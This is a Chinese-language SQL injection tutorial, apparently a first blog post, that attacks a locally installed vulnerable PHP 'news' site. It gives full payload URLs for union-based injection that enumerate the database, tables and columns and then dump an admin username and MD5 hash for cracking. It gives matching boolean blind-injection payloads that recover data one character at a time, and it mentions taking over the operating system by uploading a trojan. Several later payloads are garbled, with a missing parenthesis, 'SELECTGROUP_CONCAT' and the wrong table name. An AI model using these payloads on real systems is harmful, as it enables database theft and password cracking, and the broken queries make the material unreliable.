注意:下面所有的sql语句为都是猜想语句
SQL注入本质
sql结构化查询语句,用于查询,获取,储存,更新和管理关系数据库系统
攻击范围
sql注入攻击的活动范围:客户机发送http请求到服务器,服务器在访问数据库,数据库在返回给服务器,服务器返回给客户端。
SQL注入攻击流程
1,注入探测
自动方式:通过web渗透工具,实现自动注入,如sqlmap
手动注入:手工构造sql注入测试语句
2,信息获取
环境信息:数据库类型,版本,操作系统版本,用户信息等
3,获取权限
获取操作系统权限通过数据库执行shell,上传木马
常用函数
字符串函数:
length(a):返回字符串a的字符数量
substr(a,b,len):返回字符串a重第b个字符开始截取len个字符
left(s,n):返回s字符串的前n个字符
concat(a,b.....,f,g):将多个字符串连接成一个字符串
group_concat():将同一分组多个字符串合并成一个字符串
ascii(a):返回字符串a的第一个字符的ascii码值
hex(s):将字符串s转为16进制
系统信息函数:
version():返回数据库版本号
database():返回当前数据库名
user():返回当前用户名
@@datadir返回数据库路径
盲注常用函数
if(s,a,b):如果s表达式成立返回a,否则返回b
sleep(n):暂停n秒
rand():返回0到1之间的随机数
load_file():读取文件,返回文件类容
按注入位置分类:
get注入:注入字符在url中
post注入:注入在post提交的数据中
cookie注入:注入在cookie数据中
其他注入:http其它促发sql请求的类容中
安注入结果反馈分类:
普通注入:页面展示数据库返回的执行信息,可以清晰知道自己注入的结果
盲注:与普通注入相反,不会返回任何错误信息,也不会显示sql执行结果
普通注入思路:
1,判断是否存在注入点(字符型,数字型)
2,猜解sql查询语句中的字段数
3,确定显示的字段位置
4,获取数据库中的表
5,获取表中的字段名
6,下载数据库(脱库)
盲注思路:
方式:布尔注入,延时注入
1,判断是否存在注入点,数值型,字符型
2,猜解当前数据库名
3,猜解数据库表名
4,猜解表中的字段名
5,猜解数据
普通注入案例
apache ,news,mysql的普通手工注入
可以用PHP集成apache,和mysql
百度网盘 请输入提取码qwer
有一个sql文件需要提前到数据库刷一下
环境准备好进入正题
打开网站
这样显示就表示安装成功。
点击里面的文章
可以看到id=46是明文传输
判断是否存在注入
这里就可以开始猜测数据库命令了:
select 字段名 from 表名 where id=46
先判断是否存在sql注入
先输入一条一定不会报错的语句比如:
'--':后面表示注释
select 字段名 from 表名 where id=46 and 1=1 --
修改成url:
http://192.168.10.40/news/show.php?id=46 and 1=1--
好页面正常显示:
把1换成2页面没有正常显示;
在此可以得出结论这个web应用存在sql注入
判断字段数
先来猜测数据库有多少个字段要用到是sql语句为
sql:select 字段名 from 表名 where id=46 order by 1--
http://192.168.10.40/news/show.php?id=46 order by 1--
页面正常显示,那我们依次加
加到15正确显示,加到16显示错误
获得结论:当前数据表有15个字段
查看有那些字段直接展示在页面
select 字段名 from 表名 where id=46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
http://192.168.10.40/news/show.php?id=-46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
获取数据库名字
http://192.168.10.40/news/show.php?id=-46 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
获取到数据库名字“news”
获取数据库所有表名
http://192.168.10.40/news/show.php?id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'--
将剑之所指为16进制需要解码就可以获得所有表名
下面是解析之后的结果
news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users
获取了表名
接下来获取news_users表的字段名:
http://192.168.10.40/news/show.php?id=-55 UNION SELECT 1,2,HEX(GROUP_CONCAT(COLUMN_NAME)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE TABLE_SCHEMA='news' AND TABLE_NAME='news_users'
解码获得字段名:userid,username,passwor`
最后:脱库
http://192.168.10.40/news/show.php?id=-55 UNION SELECT 1,2,HEX(GROUP_CONCAT(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 FROM news.news_users
解码:admin:e10adc3949ba59abbe56e057f20f883e
admin为用户名,“:”是我们自己加的,剩下的是密码用MD5在线解码器破解
盲注案例:
1,判断是否存在sql注入
select *
from 数据库.表名
where id=55 and 1=1;
url:http://127.0.0.1/news/sho.php?id=55 and 1=1
如果页面正常显示,则输入
select *
from 数据库.表名
where id=55 and 1=2;
url:http://127.0.0.1/news/sho.php?id=55 and 1=2
如果页面非正常显示则说明该web存在sql注入
分析:存在sql注入,原因:
第一步,是为了判断有没有存在漏洞的可能;
第二部,是为了确定有漏洞可钻,并且确定采用盲注,还是普通注入;构建的是一个一定执行错误的sql语句确定web是否会把报错信息返回给用户视图
2,获取数据库名字
2.1先获取数据库名字长度
length():长度
database():数据库名字
select *
from 数据库名字.表名
where id=55 and length(database())=n;
url:http://127.0.0.1/news/sho.php?id=55 and length(database())=n
原理:问数据库你的这张表名字有多长1?,2?,3?...直到问到正确为止
2.2获取数据库名字第m个字符的Ascii码值
不知道ascii的可以去搜索一下ascii表
获取了长度后,就是数据库名字,但是名字可能是任意字符组合在一起,所有我们就只有按照ascii码表去一个一个对,一个一个问;
m:第m个字节 上面我们获取数据库名字的长度假设是4,那么这里的m就是1~4
n:ascii码值 ascii码值为0~127
database():获取数据库名字
substr(a,b,c):获取字符串a的第b个字节开始,共获得c个字符;例如:substr('admin',2,3)获取的结果就是'dmi';
ord():将获取的值转为ascii码
select *
from 数据库名字.表名
where id=55 and ord(substr(database(),m,1))=n;
url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(database(),m,1))=n
原理:当页面正常显示的时候m的对应的n值就是它的码值,然后对照ascii码表就获得他对应的字符
例如:url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(database(),1,1))=110
当上面的url显示页面正常时那么就可以获得数据库名字的第一个字符的ascii的值为'110'对照码表就是'n'
依照这个方法获取第二个,第三个...就可以获取这个数据库的名字
例如:url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(database(),2,1))=xxx
例如:url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(database(),3,1))=xxx
例如:url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(database(),4,1))=xxx
假如上面都ok对完码表后我获得的数据库名字:news
3,获取news数据库所有的表名
information_schema:mysql的源数据里面储存了mysql的所有信息所有
table_schema:这个字段储存mysql数据库里面除了源数据库以外所有的数据库名字
table_name:这个字段储存对应数据库的所有表名字
table:源数据库的表储存mysql所有数据库的数据库名和表名
SELECT TABLE_NAME
FROM information_schema.tables
WHERE TABLE_SCHEMA='news';
url:http://127.0.0.1/news/sho.php?id=55 and ord(substr((SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.
tables WHERE TABLE_SCHEMA='news'),m,1))=n
原理:原理和上面一样,看起来复杂,我来给大家翻译一下
首先and前面的不用看就是正常的url, 转码(获取字符((展示 合并(表名字段) 表 源数据库.tables表
条件 数据库字段名='news'),字节1,字节2))=ascii码(0~127);
就是获取information_schema库的tables表的所有(表名)字段全部合并在一起,并获取第m个字符转码后等于n(ascii)码
到这里我们获取了数据库名字,又获取了数据库里面所有的表名了接下来选取,一个我们认为有用的表获取它的字段名
4,获取所有字段名
information_schema:mysql的源数据里面储存了mysql的所有信息所有
table_schema:这个字段储存mysql数据库里面除了源数据库以外所有的数据库名字
table_name:这个字段储存对应数据库的所有表名字
columns :源数据库的表储存mysql所有数据库的数据库名和表名但是它和上面table表的区别在与,它还存储有所有表的字段名
m:...
n:...
SELECT GROUP_CONCAT(`COLUMN_NAME`)
FROM information_schema.columns
WHERE TABLE_SCHEMA='news' AND TABLE_NAME='news_users';
url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(SELECTGROUP_CONCAT(TABLE_NAME) FROM information_schema.
tables WHERE TABLE_SCHEMA='news' and table_name='news_users'),m,1))=n
原理:同上,还是获取获取表字段名字然后窜连转码一个一个对比acsii获取完整acsii然后,在进行转码我们就可以获取news库中news_users表的字段名了
这里就获取数据库名字,数据库里面的表名字,表里面的字段名字,就可以开始我们的终极目的了
5,脱裤获取所有类容
select group_concat(username,'+',password,'-',info)
from news.news_users;
url:http://127.0.0.1/news/sho.php?id=55 and ord(substr(SELECT group_concat(username,'+',password,'-',info),m,1))=n
原理:仍然是把之前获取的字段拼接至于‘+’,‘-’是为了更好的区分各个字段的内容,不然zhangshaneuu21321421dhfjhwauifh像这样谁区分的出来
拼接好后,在获取m位的字符转换成acsii码然后验证,比对码表在把他转成人看的字符就完成了
总的来说:就是不断的把你要获取的信息通过转码比对,在获取在转码的过程
还有延时盲注,由于太费时间我就不说了有兴趣可以了解一下
第一次写,可能语言组织能力不强,还望海涵